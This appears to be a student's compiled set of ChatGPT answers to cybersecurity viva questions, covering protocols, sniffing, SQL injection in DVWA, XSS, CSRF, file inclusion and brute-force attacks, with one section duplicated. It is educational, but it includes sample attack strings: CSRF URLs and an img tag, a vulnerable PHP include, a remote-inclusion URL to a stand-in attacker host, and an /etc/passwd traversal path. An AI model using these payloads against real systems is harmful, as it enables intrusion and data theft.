Certainly!

Here are the answers to your viva questions:

1. What is HTTP, FTP, SMTP, and DNS?

 HTTP (Hypertext Transfer Protocol):

o HTTP is a protocol used for transferring hypertext requests and
information on the internet.
o It is the foundation of any data exchange on the Web and it is a
protocol used for transmitting hypertext via links.
o Commonly used for loading web pages using hypertext links.
 FTP (File Transfer Protocol):
o FTP is a standard network protocol used to transfer files from one
host to another over a TCP-based network, such as the internet.
o It is commonly used to upload or download files to and from a
server.
 SMTP (Simple Mail Transfer Protocol):
o SMTP is an internet standard communication protocol for
electronic mail transmission.
o It is used for sending and receiving email messages between mail
servers.
 DNS (Domain Name System):
o DNS is a hierarchical system that translates domain names (like
www.example.com) into IP addresses (like 192.168.1.1) which are
used by computers to identify each other on the network.
o It is essentially the phonebook of the internet.

2. How does HTTPS work?

 HTTPS (Hypertext Transfer Protocol Secure) works as follows:

1. Initiation: A user connects to a website using HTTPS. The
browser requests the web server to identify itself.
2. Server Response: The server sends a copy of its SSL/TLS
certificate to the browser.
3. Certificate Verification: The browser checks the certificate
against a list of trusted Certificate Authorities (CAs). If it is trusted,
the browser generates a symmetric session key and encrypts it with
the server's public key.
4. Encrypted Communication: The server decrypts the session key
using its private key and a secure session is established using
symmetric encryption.
5. Data Transfer: Encrypted data is exchanged between the browser
and the server, ensuring that the data cannot be intercepted or
tampered with.

Solution of viva QUESTIONS: CYBERSECURITY

3. What are cookies and how are they used in HTTP?

 Cookies:
o Cookies are small pieces of data stored by the web browser on
behalf of the web server.
o They are used to remember information about the user across
different sessions and web pages.
 Usage in HTTP:
o Session Management: Cookies are used to manage user sessions,
keeping users logged in as they navigate through different pages.
o Personalization: Cookies store user preferences and settings to
personalize the browsing experience.
o Tracking: Cookies are used to track user behavior and activity on
the website for analytics and targeted advertising.

4. What is the main objective of DNS?

 The main objective of DNS is to translate human-friendly domain names

into IP addresses that computers use to identify each other on the
network. This translation allows users to access websites using easily
memorable names instead of having to remember complex numerical IP
addresses.

5. Why is DNS important in the application layer?

 User-Friendliness: DNS makes the internet more user-friendly by

allowing the use of easily memorable domain names instead of numerical
IP addresses.
 Scalability: DNS supports the hierarchical structure of domain names,
which allows for easy scalability and management of domain names and
addresses.
 Load Balancing: DNS can distribute the load of incoming requests
across multiple servers, improving the performance and availability of
websites.
 Security: DNS can enhance security by implementing DNS Security
Extensions (DNSSEC) to protect against certain types of attacks, such as
DNS spoofing.

6. What is the importance of DNS in an organization?

 Network Efficiency: DNS improves the efficiency of the network by

translating domain names to IP addresses quickly and accurately,
ensuring smooth access to resources.

Solution of viva QUESTIONS: CYBERSECURITY

  Resource Management: DNS helps organizations manage their internal
and external resources more effectively by allowing the use of domain
names that are easy to remember and organize.
 Service Reliability: DNS contributes to service reliability and
availability through techniques like redundancy and load balancing,
ensuring that services remain accessible even if some servers fail.
 Security: DNS can provide additional layers of security, such as filtering
malicious domains and implementing DNSSEC to protect against attacks.

Understanding these concepts is crucial for managing and securing web-based

applications and services effectively.

1. How do you detect suspicious network activity?

Detecting suspicious network activity involves monitoring and analyzing

network traffic for patterns or anomalies that indicate potential security threats.
Here are some common methods and tools used for this purpose:

 Intrusion Detection Systems (IDS):

o IDS tools like Snort and Suricata monitor network traffic for signs
of known attacks or abnormal behavior.
 Firewall Logs:
o Analyzing firewall logs can reveal unusual traffic patterns, such as
repeated failed login attempts or connections from unusual
locations.
 Network Traffic Analysis:
o Using tools like Wireshark, network administrators can capture and
analyze network packets to identify unusual patterns or suspicious
activity.
 Anomaly Detection Systems:
o These systems use machine learning and statistical methods to
detect deviations from normal network behavior that may indicate
a threat.
Solution of viva QUESTIONS: CYBERSECURITY
  Security Information and Event Management (SIEM) Systems:
o SIEM systems collect and analyze log data from various sources in
real-time to detect and respond to potential security threats.
 Behavioral Analysis:
o Monitoring user and entity behavior to detect activities that deviate
from established norms, such as access to unusual files or systems.

2. How does Wireshark detect malicious traffic?

Wireshark is a network protocol analyzer that captures and analyzes network

packets in real-time. Here's how it can be used to detect malicious traffic:

 Packet Capture:
o Wireshark captures packets of data as they travel across the
network, allowing detailed analysis of network traffic.
 Protocol Analysis:
o Wireshark can decode and display the contents of packets
according to the protocols being used, making it easier to identify
abnormal or malicious traffic patterns.
 Filters:
o Users can apply filters to focus on specific types of traffic or to
exclude known benign traffic, making it easier to spot potential
issues.
 Signatures and Patterns:
o By examining packet contents and patterns, users can identify
known signatures of malicious activity, such as specific payloads
or unusual port usage.
 Statistics and Summaries:
o Wireshark provides various statistical tools to summarize captured
traffic, highlighting anomalies such as unusual traffic volumes or
unexpected IP addresses.

3. What is "detect suspicious networks"?

Detecting suspicious networks involves identifying networks that are behaving

in ways indicative of potential threats. This can include:

 Unusual Traffic Patterns:

o High volumes of traffic to or from a network that doesn't typically
generate such traffic.
 Unknown or Untrusted Networks:
o Networks that are not recognized as part of normal business
operations, especially those with IP addresses from regions known
for cybercrime.
Solution of viva QUESTIONS: CYBERSECURITY
  Repeated Access Attempts:
o Networks that repeatedly attempt to access resources without
authorization.
 Malware Communication:
o Networks that appear to be communicating with known malicious
servers or command-and-control infrastructure.

4. What is a suspicious IP? How do hackers see your IP?

 Suspicious IP:
o An IP address that exhibits behavior or characteristics associated
with malicious activity, such as:
 Scanning multiple ports in a short period.
 Known involvement in previous attacks or cyber threats.
 Geographic location inconsistent with expected user
locations.
 Associated with spam, phishing, or other malicious
activities.
 How Hackers See Your IP:
o Direct Interaction:
 When you visit a website, the server can see your IP address
as part of the communication process.
o Emails and Chat Applications:
 Sending emails or messages can expose your IP address to
the recipient.
o Malware:
 If your system is infected with malware, it can send your IP
address and other data to a hacker-controlled server.
o Social Engineering:
 Hackers can trick users into revealing their IP address
through deceptive means, such as clicking on a link or
running a malicious script.
o Network Scanning:
 Hackers use tools to scan networks and identify active IP
addresses and their corresponding devices.

Understanding these concepts is essential for network security and protecting

against potential threats.

Solution of viva QUESTIONS: CYBERSECURITY

Certainly! Here are the answers to your viva questions related to sniffing:

1. What type of attack is sniffing?

 Sniffing Attack:
o Sniffing is a type of network security attack where an attacker
intercepts and captures data packets traveling through a network.
This can be done using various tools and techniques to eavesdrop
on network traffic and potentially capture sensitive information
such as usernames, passwords, and other private data.

2. What are the 2 types of sniffing?

 Passive Sniffing:
o Passive sniffing involves silently capturing and monitoring
network traffic without altering it. This is typically done on
networks that use a hub or on a broadcast medium where traffic is
visible to all connected devices.
 Active Sniffing:
o Active sniffing involves actively injecting traffic into the network
to capture data. This can include techniques like ARP spoofing or
poisoning, where the attacker sends fake ARP messages to
associate their MAC address with the IP address of another device,
effectively intercepting traffic intended for that device.

3. What are sniffing tools?

 Sniffing Tools:
o Wireshark: A widely-used network protocol analyzer that
captures and analyzes network traffic.
o tcpdump: A command-line packet analyzer that allows users to
capture and display packets being transmitted or received over a
network.
o Ettercap: A comprehensive suite for man-in-the-middle attacks on
LAN, which can intercept, log, and analyze traffic.
o Cain & Abel: A password recovery tool for Microsoft Operating
Systems that can also perform network sniffing.
o Network Miner: A network forensic analysis tool (NFAT) that
can detect operating systems, sessions, hostnames, open ports, etc.,
without putting any traffic on the network.

4. What is HTTP sniffing?

Solution of viva QUESTIONS: CYBERSECURITY

  HTTP Sniffing:
o HTTP sniffing refers to intercepting and capturing HTTP traffic,
which is the data exchanged between web browsers and web
servers. This can include capturing URLs, cookies, form
submissions, and any other data sent over HTTP. Since HTTP is
not encrypted, the data is easily readable by anyone who can
capture the traffic.

5. Does HTTPS prevent sniffing?

 HTTPS and Sniffing:

o Yes, HTTPS (Hypertext Transfer Protocol Secure) helps prevent
sniffing by encrypting the data transmitted between the client and
server. This encryption ensures that even if the traffic is
intercepted, the data remains unreadable to the attacker. HTTPS
uses SSL/TLS protocols to encrypt the data, providing
confidentiality and integrity.

6. What is IP address sniffing?

 IP Address Sniffing:
o IP address sniffing involves intercepting and capturing data packets
to discover the IP addresses of devices on a network. By
monitoring the traffic, an attacker can determine the IP addresses
being used and potentially identify the network's structure and
active devices. This information can be used for further network
attacks, such as IP spoofing or targeted attacks on specific devices.

Understanding these concepts and how to protect against sniffing attacks is

crucial for maintaining network security and protecting sensitive information.

Solution of viva QUESTIONS: CYBERSECURITY

Certainly! Here are the answers to your viva questions related to sniffing:

1. What type of attack is sniffing?

 Sniffing Attack:
o Sniffing is a type of network security attack where an attacker
intercepts and captures data packets traveling through a network.
This can be done using various tools and techniques to eavesdrop
on network traffic and potentially capture sensitive information
such as usernames, passwords, and other private data.

2. What are the 2 types of sniffing?

 Passive Sniffing:
o Passive sniffing involves silently capturing and monitoring
network traffic without altering it. This is typically done on
networks that use a hub or on a broadcast medium where traffic is
visible to all connected devices.
 Active Sniffing:
o Active sniffing involves actively injecting traffic into the network
to capture data. This can include techniques like ARP spoofing or
poisoning, where the attacker sends fake ARP messages to
associate their MAC address with the IP address of another device,
effectively intercepting traffic intended for that device.

3. What are sniffing tools?

Solution of viva QUESTIONS: CYBERSECURITY
  Sniffing Tools:
o Wireshark: A widely-used network protocol analyzer that
captures and analyzes network traffic.
o tcpdump: A command-line packet analyzer that allows users to
capture and display packets being transmitted or received over a
network.
o Ettercap: A comprehensive suite for man-in-the-middle attacks on
LAN, which can intercept, log, and analyze traffic.
o Cain & Abel: A password recovery tool for Microsoft Operating
Systems that can also perform network sniffing.
o Network Miner: A network forensic analysis tool (NFAT) that
can detect operating systems, sessions, hostnames, open ports, etc.,
without putting any traffic on the network.

4. What is HTTP sniffing?

 HTTP Sniffing:
o HTTP sniffing refers to intercepting and capturing HTTP traffic,
which is the data exchanged between web browsers and web
servers. This can include capturing URLs, cookies, form
submissions, and any other data sent over HTTP. Since HTTP is
not encrypted, the data is easily readable by anyone who can
capture the traffic.

5. Does HTTPS prevent sniffing?

 HTTPS and Sniffing:

o Yes, HTTPS (Hypertext Transfer Protocol Secure) helps prevent
sniffing by encrypting the data transmitted between the client and
server. This encryption ensures that even if the traffic is
intercepted, the data remains unreadable to the attacker. HTTPS
uses SSL/TLS protocols to encrypt the data, providing
confidentiality and integrity.

6. What is IP address sniffing?

 IP Address Sniffing:
o IP address sniffing involves intercepting and capturing data packets
to discover the IP addresses of devices on a network. By
monitoring the traffic, an attacker can determine the IP addresses
being used and potentially identify the network's structure and
active devices. This information can be used for further network
attacks, such as IP spoofing or targeted attacks on specific devices.

Solution of viva QUESTIONS: CYBERSECURITY

Understanding these concepts and how to protect against sniffing attacks is
crucial for maintaining network security and protecting sensitive information.

4o
Viva Questions: 1 What is SQL injection in DVWA? 2. Why is it called SQL
injection? 3. What is SQL command? 4. Which tool is used for SQL injection
attack? 5. What is the weakness of SQL injection?
ChatGPT

Sure! Here are the answers to your viva questions related to SQL injection:

1. What is SQL injection in DVWA?

 SQL Injection in DVWA:

o DVWA (Damn Vulnerable Web Application) is a web application
that is intentionally vulnerable, used for security testing and
learning purposes. SQL injection in DVWA refers to exploiting
vulnerabilities in the web application's SQL queries by injecting
malicious SQL code into input fields. This allows an attacker to
manipulate the database, potentially accessing, modifying, or
deleting data.

2. Why is it called SQL injection?

 Reason for the Name "SQL Injection":

o It is called SQL injection because the attack involves "injecting"
malicious SQL (Structured Query Language) code into a web
application's input fields. The injected SQL code is executed by the
database, allowing the attacker to interfere with the database's
normal operations.

3. What is an SQL command?

 SQL Command:
o An SQL command is a statement written in Structured Query
Language (SQL) used to perform tasks such as querying, updating,
inserting, or deleting data from a database. Examples of SQL
commands include:
 SELECT: Retrieves data from one or more tables.

sql
code
SELECT * FROM users;

Solution of viva QUESTIONS: CYBERSECURITY

  INSERT: Adds new data to a table.

sql
code
INSERT INTO users (username, password) VALUES
('user1', 'pass1');

 UPDATE: Modifies existing data in a table.

sql
code
UPDATE users SET password = 'newpass' WHERE
username = 'user1';

 DELETE: Removes data from a table.

sql
code
DELETE FROM users WHERE username = 'user1';

4. Which tool is used for SQL injection attack?

 Tools Used for SQL Injection Attack:

o SQLmap: An open-source penetration testing tool that automates
the process of detecting and exploiting SQL injection flaws.
o Havij: An automated SQL injection tool that helps in finding and
exploiting SQL vulnerabilities in a web application.
o Burp Suite: A comprehensive web vulnerability scanner that
includes tools for manually testing and exploiting SQL injection
vulnerabilities.
o Acunetix: A web vulnerability scanner that can detect and report
SQL injection vulnerabilities.

5. What is the weakness of SQL injection?

 Weakness of SQL Injection:

o SQL injection exploits vulnerabilities in an application's input
handling and database interaction. The main weaknesses include:
 Input Validation: Lack of proper input validation and
sanitization allows attackers to inject malicious SQL code.
 Parameterized Queries: Failure to use parameterized
queries or prepared statements, which separate SQL code
from data, making it harder for injected code to be executed.

Solution of viva QUESTIONS: CYBERSECURITY

  Error Messages: Detailed error messages can reveal
information about the database structure, which attackers can
use to craft more effective SQL injection attacks.
 Access Control: Inadequate database access controls, where
applications have more privileges than necessary, can
increase the damage potential of a successful SQL injection
attack.

Understanding these concepts is crucial for identifying and mitigating SQL

injection vulnerabilities in web applications.

Solution of viva QUESTIONS: CYBERSECURITY

Certainly! Here are the answers to your viva questions related to Cross Site
Scripting (XSS):

1. What is Cross Site Scripting?

 Cross Site Scripting (XSS):

o XSS is a type of security vulnerability found in web applications. It
allows attackers to inject malicious scripts into web pages viewed
by other users. These scripts can be executed in the context of the
user's browser, potentially leading to data theft, session hijacking,
defacement, or other malicious activities.

2. What are the types of XSS attacks?

 Types of XSS Attacks:

o Reflected XSS (Non-Persistent):
 The malicious script is reflected off a web server, typically
via a URL or form submission, and is executed immediately.
o Stored XSS (Persistent):
 The malicious script is stored on the server (e.g., in a
database) and executed whenever the affected content is
requested by a user.
o DOM-based XSS:
 The vulnerability exists in the client-side code (JavaScript)
rather than server-side code. The script is executed as a
result of the modification of the DOM environment.

3. What do you mean by reflective XSS?

 Reflective XSS:
o Reflected XSS occurs when malicious scripts are injected through
input fields (e.g., URL parameters, form submissions) and
immediately reflected back by the server in the response. The script
is executed in the browser of the user who clicks on a crafted link
or interacts with the malicious input.

Solution of viva QUESTIONS: CYBERSECURITY

4. Define Persistent XSS. Why is it called Stored XSS?

 Persistent (Stored) XSS:

o Persistent XSS involves injecting malicious scripts into a web
application in a way that they are stored on the server (e.g., in a
database, message board, or comment field). The script is then
served to and executed in the browser of any user who views the
affected content.
 Reason for the Name "Stored XSS":
o It is called Stored XSS because the malicious payload is stored on
the server side and delivered to users whenever they request the
stored content. This makes it potentially more harmful as it can
affect many users.

5. Are all web applications vulnerable to XSS attacks? Why or why not?

 Vulnerability of Web Applications to XSS:

o Not all web applications are vulnerable to XSS attacks.
Applications that are vulnerable typically lack proper input
validation, output encoding, and security measures to handle user
inputs safely.
o Applications that follow secure coding practices, implement
Content Security Policy (CSP), and use frameworks that provide
built-in protections are less likely to be vulnerable.

6. Is it possible to prevent XSS in most cases without any user interaction?

 Preventing XSS Without User Interaction:

o Yes, it is possible to prevent XSS attacks in most cases without any
user interaction by following secure coding practices:
 Input Validation: Ensuring that all inputs are validated and
sanitized.
 Output Encoding: Encoding data before displaying it in the
browser to ensure it is treated as data rather than executable
code.
 Using HTTPOnly Cookies: Preventing JavaScript from
accessing cookies can help mitigate the impact of XSS
attacks.
 Content Security Policy (CSP): Implementing CSP headers
to restrict the execution of scripts.
 Security Libraries and Frameworks: Using libraries and
frameworks that provide built-in XSS protection.

Solution of viva QUESTIONS: CYBERSECURITY

  Regular Security Audits: Conducting regular security
audits and testing (e.g., using tools like OWASP ZAP) to
identify and fix vulnerabilities.

By implementing these measures, web developers can significantly reduce the

risk of XSS attacks and protect their applications and users.

Certainly! Here are the answers to your viva questions related to Cross-Site
Request Forgery (CSRF):

1. What is CSRF?

 Cross-Site Request Forgery (CSRF):

o CSRF is a type of security vulnerability where an attacker tricks a
user into performing actions on a web application where they are
authenticated. This is done by sending unauthorized commands
from a user that the web application trusts. Essentially, CSRF
exploits the trust that a site has in the user's browser.

2. How do you check if your application is vulnerable to CSRF attacks?

 Checking for CSRF Vulnerability:

Solution of viva QUESTIONS: CYBERSECURITY

 o Manual Testing: Try to perform actions on the application from a
different website or HTML form. If the action is performed without
any user interaction on the original site, it is likely vulnerable.
o Security Testing Tools: Use tools like OWASP ZAP or Burp
Suite to simulate CSRF attacks.
o Check for Anti-CSRF Tokens: Ensure that critical actions require
a unique, unpredictable token (often referred to as a CSRF token)
that is verified by the server.
o Inspect HTTP Headers: Look for the presence of CSRF
protection mechanisms like the SameSite attribute on cookies or
custom headers.

3. What’s the difference between XSS and CSRF?

 Difference Between XSS and CSRF:

o XSS (Cross-Site Scripting):
 Exploits vulnerabilities that allow attackers to inject
malicious scripts into web pages viewed by other users.
 Targets the end-user by running scripts in their browser.
 Can steal cookies, session tokens, or perform actions on
behalf of the user.
o CSRF (Cross-Site Request Forgery):
 Exploits the trust that a web application has in the user's
browser.
 Targets the application by tricking the user into performing
actions they didn't intend to perform.
 Does not necessarily involve injecting scripts but relies on
the user's authenticated session to perform actions.

4. In what ways can you mitigate CSRF risks?

 Mitigating CSRF Risks:

o CSRF Tokens: Include unique, unpredictable tokens in forms and
validate them on the server side.
o SameSite Cookie Attribute: Use the SameSite attribute for
cookies to prevent them from being sent in cross-origin requests.
o Custom Headers: Require custom headers (like X-Requested-
With) that cannot be sent by external sites.
o Referer and Origin Validation: Check the Referer and Origin
headers to ensure requests are coming from trusted sources.
o User Interaction: Require additional user interaction (e.g.,
CAPTCHA, re-authentication) for critical actions.

5. Mention some examples of how a CSRF attack might occur?

Solution of viva QUESTIONS: CYBERSECURITY
  Examples of CSRF Attacks:
o Changing User Settings:
 An attacker could create a malicious link or form that, when
clicked by an authenticated user, changes their email address
or password on the target application.
 Example: http://vulnerable-site.com/change_email?
email=attacker@example.com
o Submitting a Form:
 An attacker could create an auto-submitting form that
performs actions like posting a message or transferring
funds.
 Example: An attacker hosts a page with a hidden form that
submits a transfer request on a banking site.
o Performing Actions via GET Requests:
 If a web application performs critical actions via GET
requests, an attacker could embed an image or link on their
site that triggers these actions.
 Example: <img
src="http://vulnerable-site.com/delete_account?
user_id=1234" />

Understanding these concepts is crucial for identifying and mitigating CSRF

vulnerabilities to protect web applications and their users.

Solution of viva QUESTIONS: CYBERSECURITY

Certainly! Here are the answers to your viva questions related to file inclusion
vulnerabilities:

7. What are the different types of file inclusion?

 Types of File Inclusion:

o Local File Inclusion (LFI):
 Involves including files from the local server, which can lead
to the exposure of sensitive data, execution of arbitrary code,
or other malicious activities.
o Remote File Inclusion (RFI):
 Involves including files from remote servers, allowing an
attacker to execute remote code on the server. This is
typically more dangerous than LFI.

8. What is remote file inclusion?

 Remote File Inclusion (RFI):

o RFI is a type of vulnerability that occurs when a web application
allows the inclusion of files from remote locations. This can enable
an attacker to execute arbitrary code on the server by including a
malicious script hosted on a remote server. For example:

php
code
<?php include($_GET['file']); ?>

If file is a URL, the server might include and execute remote code:

php
code
http://vulnerable-site.com/index.php?file=http://attacker-
site.com/malicious.php

9. Why is file inclusion possible?

 Reasons for File Inclusion Vulnerabilities:

o Improper Input Validation: Failure to validate or sanitize user
input that specifies file paths.
o Dynamic File Inclusion: Using user-supplied data directly in file
inclusion functions (like include, require in PHP) without proper
validation.
o Misconfiguration: Incorrectly configured server or application
settings that allow inclusion of files based on user input.

Solution of viva QUESTIONS: CYBERSECURITY

 o Lack of Secure Coding Practices: Developers not following
secure coding guidelines, such as using hardcoded file paths or
properly escaping user input.

10. Differentiate between local file inclusion and remote file inclusion?

 Local File Inclusion (LFI):

o Scope: Includes files from the local server.
o Typical Impact: Disclosure of sensitive files, arbitrary code
execution if PHP wrappers or other tricks are used.
o Example:

php
code
http://vulnerable-site.com/index.php?file=../../../../etc/passwd

 Remote File Inclusion (RFI):

o Scope: Includes files from a remote server.
o Typical Impact: Execution of remote malicious scripts, complete
server compromise.
o Example:

php
code
http://vulnerable-site.com/index.php?file=http://attacker-
site.com/malicious.php

11. What is the impact of file inclusion vulnerability?

 Impact of File Inclusion Vulnerability:

o Code Execution:
 Attackers can execute arbitrary code on the server, leading to
full control over the server.
o Sensitive Data Exposure:
 Attackers can access sensitive files such as configuration
files, password files, and other data.
o Web Shells:
 Attackers can upload web shells, which allow them to
execute commands and perform actions on the server
remotely.
o System Compromise:
 The vulnerability can lead to a complete compromise of the
system, allowing attackers to alter or destroy data, install
malware, or use the server for further attacks.

Solution of viva QUESTIONS: CYBERSECURITY

 o Denial of Service:
 Malicious file inclusions can disrupt the normal operation of
the application, causing denial of service to legitimate users.

Understanding these concepts is crucial for recognizing and mitigating file

inclusion vulnerabilities in web applications.

Sure! Here are the answers to your viva questions related to dictionary and brute
force attacks:

1. How do dictionary attacks relate to brute force attacks?

 Relation Between Dictionary Attacks and Brute Force Attacks:

o Dictionary Attack: A type of brute force attack that uses a
precompiled list of potential passwords, typically common
passwords or passwords from previous data breaches. The attack
systematically attempts each password in the list against a target
system.
o Brute Force Attack: A method that involves trying all possible
combinations of passwords or keys until the correct one is found.
Brute force attacks can include dictionary attacks, but they can also
be more exhaustive, trying all possible character combinations.

2. Which type of attack allows an attacker to use a brute-force approach?

 Types of Attacks Allowing a Brute-Force Approach:

o Password Cracking: Attempting to guess passwords for user
accounts.
o PIN Cracking: Trying all possible combinations of a Personal
Identification Number (PIN).
o Cryptographic Key Cracking: Trying all possible keys to decrypt
a message or data encrypted with a certain algorithm.

Solution of viva QUESTIONS: CYBERSECURITY

 o Captcha Breaking: Attempting to automate solving CAPTCHAs
by trying numerous possible solutions.
o API Key Cracking: Trying all possible API keys to gain
unauthorized access to an API.

3. How long does a dictionary attack take?

 Duration of a Dictionary Attack:

o The time it takes to complete a dictionary attack depends on
several factors:
 Size of the Dictionary: The number of passwords in the
dictionary list.
 Speed of the Attack: The rate at which the attack tool can
attempt passwords (e.g., network latency, server response
time, computational power).
 Password Complexity: If the target password is relatively
common and included in the dictionary, the attack could
succeed quickly. If not, it may fail or take longer.
o Example: For a large dictionary with millions of entries, and
assuming a rate of 100 attempts per second, it could take hours or
days to go through the entire list.

4. What are the techniques used in preventing a brute force attack?

 Techniques to Prevent Brute Force Attacks:

o Account Lockout: Lock accounts temporarily after a certain
number of failed login attempts.
o CAPTCHAs: Use CAPTCHAs to distinguish human users from
automated attack scripts.
o Rate Limiting: Limit the number of login attempts from a single
IP address over a period of time.
o Two-Factor Authentication (2FA): Require an additional
verification step beyond just the password.
o Strong Password Policies: Enforce complex passwords that are
harder to guess or crack.
o Monitoring and Alerts: Monitor for unusual login attempts and
alert administrators to potential brute force attempts.
o IP Blacklisting/Whitelisting: Block suspicious IP addresses and
allow only trusted IP addresses.

5. What are the targets of brute force attacks?

 Targets of Brute Force Attacks:

Solution of viva QUESTIONS: CYBERSECURITY

 o User Accounts: Attempting to guess passwords for online
services, email accounts, social media accounts, etc.
o Administrative Interfaces: Targeting admin panels or backend
systems with common or default credentials.
o Encrypted Data: Trying to decrypt encrypted files or
communications by guessing the encryption key.
o Web Application Login Forms: Automated tools targeting login
forms on websites.
o Network Services: Attacking services like SSH, FTP, or Telnet
that rely on password-based authentication.
o APIs: Attempting to gain access to APIs by guessing API keys or
tokens.

Understanding these concepts helps in recognizing, defending against, and

mitigating the risks associated with brute force and dictionary attacks.

Solution of viva QUESTIONS: CYBERSECURITY